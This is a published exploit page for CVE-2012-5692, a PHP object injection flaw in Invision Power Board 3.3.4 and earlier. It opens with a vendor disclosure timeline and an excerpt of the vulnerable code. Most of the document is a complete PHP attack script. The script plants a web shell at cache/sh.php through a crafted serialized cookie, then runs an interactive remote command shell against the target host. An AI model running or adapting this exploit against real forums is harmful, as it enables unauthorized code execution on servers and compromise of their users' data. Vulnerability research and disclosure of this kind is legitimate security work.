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Invision Power Board 3.3.4 Code Execution

Invision Power Board 3.3.4 Code Execution
Posted Nov 1, 2012
Authored by EgiX

Invision Power Board versions 3.3.4 and below unserialize() PHP code execution exploit.

tags | exploit, php, code execution
advisories | CVE-2012-5692, OSVDB-86702
SHA-256 | 1330fc925eed3070b675329ffbec4961ebf0fa056a417f753e1981215eacb94e

Invision Power Board 3.3.4 Code Execution

Change Mirror Download
<?php

/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
----------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: http://www.invisionpower.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

4015. static public function get($name)
4016. {
4017. // Check internal data first
4018. if ( isset( self::$_cookiesSet[ $name ] ) )
4019. {
4020. return self::$_cookiesSet[ $name ];
4021. }
4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
4023. {
4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
4025.
4026. if ( substr( $_value, 0, 2 ) == 'a:' )
4027. {
4028. return unserialize( stripslashes( urldecode( $_value ) ) );
4029. }

The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

[-] Disclosure timeline:

[21/10/2012] - Vulnerability discovered
[23/10/2012] - Vendor notified
[25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
[25/10/2012] - CVE number requested
[29/10/2012] - Assigned CVE-2012-5692
[31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /ipb/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';

class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
print "\nipb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

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